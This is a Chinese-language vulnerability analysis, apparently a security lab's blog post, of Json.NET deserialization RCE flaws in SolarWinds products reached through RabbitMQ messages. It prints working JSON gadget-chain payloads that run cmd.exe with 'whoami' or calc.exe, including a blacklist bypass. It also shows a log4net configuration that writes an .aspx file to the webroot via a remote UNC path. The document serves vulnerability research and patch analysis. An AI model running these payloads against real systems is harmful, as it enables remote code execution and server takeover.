SolarWinds BytetoMessage 反序列化 RCE 分析

境搭建和介绍

这系列漏洞都是基于Json.net的反序列化:

  • 三方组件自定义不安全的反序列化RCE(CVE-2022-38108)

  • JsonConverter自定义不安全反序列化RCE(CVE-2022-36957)

  • 挖掘适用于Json的TextFormattingRunProperties利用链RCE(CVE-2022-38111)

  • 利用Json特性挖掘适用于solarwinds的利用链RCE(CVE-2022-47503、CVE-2022-47507、CVE-2023-23836、CVE-2022-36957)

最后通过这些漏洞拓展了挖掘Json.net反序列化的思路。

SolarWinds-NPM-202203默认安装,配置rabbitmq用户,默认用户orion

rabbitmqctl.bat add_user admin adminrabbitmqctl.bat set_permissions admin .* .* .*rabbitmqctl.bat set_user_tags admin administrator


CVE-2022-38108

对比diff很明显的反序列化,修复是通过黑名单方式修复

SolarWinds BytetoMessage 反序列化 RCE 分析

RabbitMQ 发送到 Solarwinds(SWIS) 的消息内容包含 Json.NET 序列化对象,solarwinds反序列化Json数据时TypeNameHandling设置为Auto,并且未配置类型校验导致RCE,借用chudyPB 的一张图

SolarWinds BytetoMessage 反序列化 RCE 分析

对EasyNetQ来说,反序列化器可以自定义或者使用自带的比如 NewtonsoftJsonSerializer,反序列化器会在初始化连接的时候进行注册,如

IBus bus = null;string connString = "host=192.168.45.142:5672;virtualHost=/;username=admin;password=admin";// serviceRegister 需要自定义反序列化器需要实现ISerializer接口bus = RabbitHutch.CreateBus(connString, serviceRegister =>{    serviceRegister.Register<ISerializer>(resolver =>        new CustomSerializer());});

全局搜索找到Solarwinds注册的反序列化器为 EasyNetQSerializer

//SolarWinds.MessageBus.RabbitMQ.EasyNetQueueConnectionthis._bus = RabbitHutch.CreateBus(connectionConfiguration, delegate(IServiceRegister x){  x.Register<ISerializer, EasyNetQSerializer>(Lifetime.Singleton);});

EasyNetQ.RabbitAdvancedBus.Consume个断点,向RabbitMQ(routing_key='SwisPubSub')发送消息时,会将二进制数据交给EasyNetQ处理进行反序列化的操作。

SolarWinds BytetoMessage 反序列化 RCE 分析

并且可以看到此时反序列化器为EasyNetQSerializer。DeserializeMessage方法有两个参数properties和body,properties中包含了反序列化格式和类型,body的内容包括了我们发送的json数据如下:

SolarWinds BytetoMessage 反序列化 RCE 分析

跟进DeserializeMessage方法,实现如下

public IMessage DeserializeMessage(MessageProperties properties, byte[] body){  //拿到消息属性中的type  Type messageType = this.typeNameSerializer.DeSerialize(properties.Type);  //反序列化body  object body2 = this.serializer.BytesToMessage(messageType, body);  return MessageFactory.CreateInstance(messageType, body2, properties);}

这里会提取properties中的Type,当作反序列化后的类型,可控。

继续跟进,很明显的反序列化

SolarWinds BytetoMessage 反序列化 RCE 分析

放个三月份的复现截图

SolarWinds BytetoMessage 反序列化 RCE 分析

修复方式启用了黑名单

"System.Diagnostics.Process","System.Diagnostics.ProcessStartInfo","System.Data.Services.Internal.ExpandedWrapper","System.Workflow.ComponentModel.AppSettings","Microsoft.PowerShell.Editor","System.Windows.Forms.AxHost.State","System.Security.Claims.ClaimsIdentity","System.Security.Claims.ClaimsPrincipal","System.Runtime.Remoting.ObjRef","System.Drawing.Design.ToolboxItemContainer","System.DelegateSerializationHolder","System.DelegateSerializationHolder+DelegateEntry","System.Activities.Presentation.WorkflowDesigner","System.Windows.ResourceDictionary","System.Windows.Data.ObjectDataProvider","System.Windows.Forms.BindingSource","Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSettingsProvider","System.Management.Automation.PSObject","System.Configuration.Install.AssemblyInstaller","System.Security.Principal.WindowsIdentity","System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector","System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef","System.Web.Security.RolePrincipal","System.IdentityModel.Tokens.SessionSecurityToken","System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem","Microsoft.IdentityModel.Claims.WindowsClaimsIdentity","System.Security.Principal.WindowsPrincipal"


CVE-2022-38111

影响版本 SolarWinds Platform 2022.4.1,至此以后的版本都添加了白名单。

最近 chudyPB 更新了ysoserial,包括适用于Json.net的新链TextFormattingRunProperties

JSON.NET 特性

  1. 构造函数选择机制

    1. 查找[JsonConstructorAttribute]特性的constrcutor

    2. 查找不接受参数的公共构造函数

    3. 查找是否具有带参数的单个构造函数

    4. 最后检查对于非公共默认构造函数(ConstructorHandling = ConstructorHandling.AllowNonPublicDefaultConstructor)

  2. 序列化机制

    1. Json.NET可以调用类的无参公共构造函数并调用其公共setter

    2. 可序列化的构造函数(带有 SerializationInfo 和StreamingContext 参数)和 SerializationCallbacks(https://www.newtonsoft.com/json/help/html/SerializationCallbacks.htm)


复习BinaryFormatter_TextFormattingRunProperties链

TextFormattingRunProperties构造函数-->GetObjectFromSerializationInfo()-->XamlReader.Parse(@string),BinaryFormatter的exp是通过重写构造函数将ForegroundBrush的值插入SerializationInfo中,最后触发RCE。

Newtonsoft ???

如果使TextFormattingRunProperties链适用于Newtonsoft,只能:

  1. setter xamltext(并没有)

  2. SerializationInfo可控

跟踪其反序列化的过程,在JsonSerializerInternalReader#CreateISerializable中也会将键值对插入到SerializationInfo中,最后反序列化触发RCE,代码如下:

SolarWinds BytetoMessage 反序列化 RCE 分析

适用于Json.net的TextFormattingRunProperties链

{"$type":"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","ForegroundBrush":"<ResourceDictionaryxmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:System="clr-namespace:System;assembly=mscorlib"xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">    <ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">        <ObjectDataProvider.MethodParameters>            <System:String>cmd.exe</System:String>            <System:String>/c calc.exe</System:String>        </ObjectDataProvider.MethodParameters>    </ObjectDataProvider></ResourceDictionary>"}

从而绕过黑名单。

CVE-2022-36957

和CVE-2022-38108入口点一样,对比diff在PropertyBagJsonConverter新增新增黑名单

SolarWinds BytetoMessage 反序列化 RCE 分析

看看具体是如何实现的

//SolarWinds.MessageBus.Models.PropertyBagJsonConverter//自定义反序列化过程ReadJsonpublic override object ReadJson(JsonReader reader, Type objectType, object existingValue, JsonSerializer serializer){  if (reader.TokenType == JsonToken.Null)  {    return null;  }  if (reader.TokenType == JsonToken.StartObject)  {    PropertyBag propertyBag = new PropertyBag();    foreach (JProperty jproperty in JObject.Load(reader).Properties())    {      object value;      if (jproperty.Value.Type == JTokenType.Null)      {        value = null;      }      else      {        JObject jobject = (JObject)jproperty.Value;        Type type = Type.GetType((string)jobject["t"]);        value = jobject["v"].ToObject(type, serializer);      }      propertyBag[jproperty.Name] = value;    }    return propertyBag;  }  throw new InvalidOperationException(string.Format("Unexpected json token type {0}", reader.TokenType));}

t和v均可控,现在就要考虑如何调用到这。该类继承了JsonConverter实现了自定义的反序列化器,具体用法参考 CustomJsonConverter.htm。

存在以下两种情况:

  1. JsonSerializerSettings中注册了PropertyBagJsonConverter(没找到)  

  2. 找到使用了PropertyBagJsonConverter特性的类反序列化的点即类标记[JsonConverter(typeof(PropertyBagJsonConverter))]

第二种情况找到了SolarWinds.MessageBus.Models.PropertyBag类,只需要向rabbitmq发送type为SolarWinds.MessageBus.Models.PropertyBag, SolarWinds.MessageBus 的json数据,最终就能调用到SolarWinds.MessageBus.Models.PropertyBagJsonConverter#Readjson触发发序列化,payload

    "payload": {        "t": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",        "v": {            "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",            "MethodName": "Start",            "MethodParameters": {                "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",                "$values": ["cmd", "/c whoami > c:\PropertyBag.txt"]            },            "ObjectInstance": {                "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"            }        }    }}


CVE-2022-47503

影响版本 SolarWinds Platform 2022.4.1

漏洞作者找了一条适用于solarwinds的利用链WorkerControllerWCFProxy_RCE

主要代码如下:

    //SolarWinds.JobEngine.Engine.WorkerControllerWCFProxy, SolarWinds.JobEngine  internal class WorkerControllerWCFProxy : IWorkerControllerProxy, IWorkerControllerService, IDisposable  {    public event EventHandler WorkerControllerTerminated;    //静态无参构造函数    static WorkerControllerWCFProxy()    {      ServicePointManager.ServerCertificateValidationCallback = (RemoteCertificateValidationCallback)Delegate.Combine(ServicePointManager.ServerCertificateValidationCallback, new RemoteCertificateValidationCallback((object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors) => true));    }        //公开的、唯一的有参构造函数,Json.net会调用    public WorkerControllerWCFProxy(WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode, string workerProcessLabel)    {      this.workerConfiguration = workerConfiguration;      this.operationMode = operationMode;      this.workerProcessLabel = workerProcessLabel;      this.uri = this.LaunchWorkerProcess();      this.Connect();    }    ........    // 返回ProcessStartInfo,进程路径和参数来自this.workerConfiguration,可控    private ProcessStartInfo CreateCustomWorkerProcessStartInfo()    {      int availablePort = NetworkHelper.GetAvailablePort(JobEngineSettings.GetSection().MinCustomWorkerPortNumber, JobEngineSettings.GetSection().MaxCustomWorkerPortNumber);      if (availablePort <= 0)      {        throw new Exception("Unable to get free port for worker process");      }      this.Port = (ushort)availablePort;      string text = string.Format("{0} -port {1} -id {2} -ppid {3}", new object[]      {        this.workerConfiguration.CommandArguments,        this.Port,        this.id,        Process.GetCurrentProcess().Id      });      string text2 = Path.Combine(this.pluginDirectory.Value, this.workerConfiguration.CommandLine);      if (WorkerControllerWCFProxy.log.IsDebugEnabled)      {        WorkerControllerWCFProxy.log.DebugFormat("Custom worker commandline: {0} {1}", text2, text);      }      return new ProcessStartInfo(text2)      {        Arguments = text,        WorkingDirectory = this.pluginDirectory.Value      };    }
........ // 构造函数中调用,当WorkerType等于Custom会调用CreateCustomWorkerProcessStartInfoworkerType来自workerConfiguration private Uri LaunchWorkerProcess() { WorkerType workerType = this.workerConfiguration.WorkerType; ProcessStartInfo processStartInfo; if (workerType != WorkerType.Native) { if (workerType != WorkerType.Custom) { throw new ArgumentOutOfRangeException(); } WorkerControllerWCFProxy.log.Debug("Launching Custom Worker Process"); processStartInfo = this.CreateCustomWorkerProcessStartInfo(); } else { WorkerControllerWCFProxy.log.Debug("Launching Native Worker Process"); processStartInfo = this.CreateNativeWorkerProcessStartInfo(); } processStartInfo.UseShellExecute = false; Uri result = null; using (EventWaitHandle eventWaitHandle = new EventWaitHandle(false, EventResetMode.ManualReset, WorkerSynchronizationHelper.GetWorkerProcessWaitHandleName(this.id.ToString()))) { this.process = Process.Start(processStartInfo); this.ProcessId = this.process.Id; while (!eventWaitHandle.WaitOne(10, false)) { if (this.process.WaitForExit(0)) { throw new Exception("Failure starting worker process"); } } } if (this.workerConfiguration.WorkerType == WorkerType.Native) { result = WorkerAddressDirectory.GetWorkerAddress(this.id); } if (WorkerControllerWCFProxy.log.IsInfoEnabled) { WorkerControllerWCFProxy.log.InfoFormat("Started new worker process with pid {0}", this.ProcessId); } return result; }

该类有一个LaunchWorkerProcess方法能够启动一个新的进程,所有参数来自workerConfiguration类中WorkerType、CommandLine、CommandArguments

上面说了Json.net的反序列化特性,当反序列化该类时会调用唯一有参构造函数,并且能够向构造函数传入参数。

  public WorkerControllerWCFProxy(WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode, string workerProcessLabel)  {    this.workerConfiguration = workerConfiguration;    this.operationMode = operationMode;    this.workerProcessLabel = workerProcessLabel;    this.uri = this.LaunchWorkerProcess();    this.Connect();  }

所以重点关注WorkerConfiguration类中的几个参数是否可控

SolarWinds BytetoMessage 反序列化 RCE 分析

显而易见public and setter,poc

    "$type": "SolarWinds.JobEngine.Engine.WorkerControllerWCFProxy, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",    "workerConfiguration": {    "$type": "SolarWinds.JobEngine.WorkerConfiguration, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",    "WorkerType": 1,    "CommandLine":   "..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\System32\cmd.exe",    "CommandArguments": "/c whoami > C:\poc.txt & "    },    "operationMode": 0,    "workerProcessLabel": "whatever"   }


CVE-2022-47507

关键类是WorkerProcessWCFProxy,实现如下

    //SolarWinds.JobEngine.Engine.WorkerProcessWCFProxy  internal class WorkerProcessWCFProxy : WorkerProcessProxyBase, IWorkerProcessProxyWithShadowCacheCleanup, IWorkerProcessProxy, IJobExecutionEngine, IDisposable  {    public WorkerProcessWCFProxy(int maxConcurrentJobs, string assemblyName, WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode)    {      this.maxConcurrentJobs = maxConcurrentJobs;      this.assemblyName = assemblyName;      this.operationMode = operationMode;      this.workerConfiguration = workerConfiguration;      try      {        this.CreateWorkerController();        this.LaunchWorker();        this.Connect();      }      catch (Exception)      {        this.Terminate();        throw;      }    }        ......        // 这里直接调用上面的WorkerControllerWCFProxy类,可RCE    private void CreateWorkerController()    {      this.workerController = new WorkerControllerWCFProxy(this.workerConfiguration, this.operationMode, this.assemblyName);    }

CreateWorkerController方法调用了WorkerControllerWCFProxy,补全构造函数就行。

{ "$type": "SolarWinds.JobEngine.Engine.WorkerProcessWCFProxy, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null", "maxConcurrentJobs": 5, "workerConfiguration": { "$type": "SolarWinds.JobEngine.WorkerConfiguration, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null", "WorkerType": 1, "CommandLine": "..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\System32\cmd.exe", "CommandArguments": "/c calc.exe & " }, "operationMode": 0, "assemblyName": "whatever"}


CVE-2023-23836(文件写->RCE)

利用类是CredentialInitializer

[Serializable]  public class CredentialInitializer  {  //公共唯一构造函数    public CredentialInitializer(string logConfigFile)    {      try      {        this.ConfigureLog(logConfigFile);        this.InstallCertificate();        this.ConvertCredentials();        this.ConvertOldSnmpv3Credentials();      }      catch (Exception exception)      {        CredentialInitializer.log.Error("Error occurred when trying to initialize shared credentials", exception);        throw;      }    }        //加载配置    private void ConfigureLog(string configFile)    {      if (string.IsNullOrEmpty(configFile))      {        Log.Configure(string.Empty);      }      else      {        Log.Configure(configFile);      }      CredentialInitializer.log.DebugFormat("Used log configuration file: {0}", configFile);    }    // SolarWinds.Logging.Log.......// 提取log4net标签并加载配置public static void Configure(string configFile = null){  foreach (string text in Log.EnumFile(configFile))  {    if (!string.IsNullOrEmpty(text))    {      FileInfo fileInfo = new FileInfo(text);      if (fileInfo.Exists)      {        HashSet<string> configurations = Log._configurations;        lock (configurations)        {          if (Log._configurations.Contains(fileInfo.FullName))          {            continue;          }        }        try        {          XmlDocument xmlDocument = new XmlDocument();          xmlDocument.Load(fileInfo.FullName);          XmlNodeList elementsByTagName = xmlDocument.GetElementsByTagName("log4net");          if (elementsByTagName != null && elementsByTagName.Count > 0)          {            configurations = Log._configurations;            lock (configurations)            {              if (!Log._configurations.Contains(fileInfo.FullName))              {                XmlConfigurator.ConfigureAndWatch(fileInfo);                Log._configurations.Add(fileInfo.FullName);              }            }          }        }        catch        {        }      }    }  }}

利用log4net日志功能写入文件,原配置文件在 C:Program FilesSolarWindsOrionSolarWinds.Cortex.log4net.config,参考 https://gist.github.com/PatrickMcDonald/3182660

这里利用需要修改两处配置:

// 修改RollingLogFileAppender  <appender name="RollingLogFileAppender" type="log4net.Appender.RollingFileAppender">    <file value="C:inetpubwwwrootpoc.aspx" type="log4net.Util.PatternString" />    <encoding value="utf-8" />    <appendToFile value="false" />    <rollingStyle value="Size" />    <maxSizeRollBackups value="5" />    <maximumFileSize value="10MB" />    <layout type="log4net.Layout.PatternLayout">      <header type="log4net.Util.PatternString" value="hackhack" />      <conversionPattern value="" />    </layout>  </appender>// 新增logger <logger name="SolarWinds.IPAM.Storage.Credentials.CredentialInitializer"> <level value="DEBUG"></level> </logger>

poc

//写文件{"$type":"SolarWinds.IPAM.Storage.Credentials.CredentialInitializer, SolarWinds.IPAM.Storage, Version=2022.4.0.0, Culture=neutral,PublicKeyToken=null","logConfigFile":"\\192.168.1.10\x.config"}
//恢复配置{"$type":"SolarWinds.IPAM.Storage.Credentials.CredentialInitializer, SolarWinds.IPAM.Storage, Version=2022.4.0.0, Culture=neutral,PublicKeyToken=null","logConfigFile":"C:\Program Files\SolarWinds\Orion\SolarWinds.Cortex.log4net.config"}

发送payload最终生成文件。

SolarWinds BytetoMessage 反序列化 RCE 分析


CVE-2022-36957(文件读->RCE)

利用类在SqlFileScript

namespace SolarWinds.Database.Setup.Internals{  [ComVisible(false)]  internal class SqlFileScript : SqlScript  {    public SqlFileScript(FileInfo scriptFile) : base(scriptFile.FullName, null)    {      this.scriptFile = scriptFile;    }    //getter    public override string Contents    {      get      {        string result;        if ((result = this.contents) == null)        {          result = (this.contents = File.ReadAllText(this.scriptFile.FullName));        }        return result;      }    }    private volatile string contents;    private readonly FileInfo scriptFile;  }}

与前面几个CVE不同的是,触发漏洞是在序列化触发的。如上代码文件读的过程是在序列化过程调用getter触发的,攻击流程是发送恶意数据触发反序列化SqlFileScript类,服务端序列化消息发送给RabbitMq,攻击者通过读取队列消息拿到文件内容,利用读取到的.erlang.cookie的值通过erl执行命令。


拓展

参考CVE-2022-36957,最终漏洞利用是通过不安全的序列化(call getter)导致的,实际场景中少有类似利用链:unsafe deserialization(setter) --> Object --> unsafe serialization(getter)--> RCE,更多的是直接反序列化RCE,相当于Sink只有反序列化链或恶意setter,@chudyPB的新思路拓展了新的攻击面,寻找某些setter中调用任意getter:unsafe deserialization(setter)--> 任意getter -->RCE,由此诞生了很多新链子,具体见 https://github.com/pwntester/ysoserial.net/pull/156。


参考
https://zhuanlan.zhihu.com/p/37198933

https://www.cnblogs.com/focus-lei/p/9262638.html

https://www.newtonsoft.com/

https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf



原文始发于微信公众号(青藤实验室):SolarWinds BytetoMessage 反序列化 RCE 分析

版权声明:admin 发表于 2023年10月30日 下午4:16。
转载请注明:SolarWinds BytetoMessage 反序列化 RCE 分析 | CTF导航

相关文章

暂无评论

暂无评论...